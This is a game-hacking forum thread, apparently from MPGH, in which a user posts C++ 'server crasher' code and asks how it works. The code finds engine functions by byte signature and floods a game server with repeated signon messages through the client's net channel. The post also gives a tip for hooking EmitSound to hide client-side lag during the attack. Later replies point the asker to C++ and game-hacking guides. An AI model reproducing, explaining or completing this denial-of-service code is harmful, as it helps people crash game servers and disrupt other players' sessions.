How does this server crasher work (code below)

Functions:
static auto NewSignonMsg = reinterpret_cast<void(__thiscall*)(void*, int, int)>(Utils::FindSignature("engine.dll", "55 8B EC 56 57 8B F9 8D 4F 04 C7 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? C6 ?? ?? ?? C7"));
static auto ClearSignonMsg = reinterpret_cast<void(__thiscall*)(void*)>(Utils:: FindSignature("engine.dll", "53 56 57 8B F9 8D ?? 38 C7 ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? 8B"));

Alloc:
void* pSignonMsg = malloc(76);

Actual crasher:
if (nTotalSentSignon < TOTAL_AMOUNT)
{
NewSignonMsg(pSignonMsg, 6, g_pClientState->m_nServerCount);

for (int i = 0; i < AMOUNT_PER_TICK; i++)
Utils::CallVFunc<42>(g_pClientState->m_NetChannel, pSignonMsg, false, false);

ClearSignonMsg(pSignonMsg);
nTotalSentSignon += AMOUNT_PER_TICK;
}

Fix clientsided lagging by hooking EmitSound and returning when doing to crash/when the null.wav sound tries to play

Firstly I think code needs to be put in warp code function, and secondly to be able to use that you need to learn cpp. No one will do that for free, only the code was released. All you need to search in google is learn cpp. I would also suggest these 2 posts on MPGH ----> C, C++ and Visual C++ Books and Resources and How to start into Game Hacking

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Also You took this from another post and I am assuming you have no coding knowledge whatsoever?

Anyone knows what TOTAL_AMOUNT is?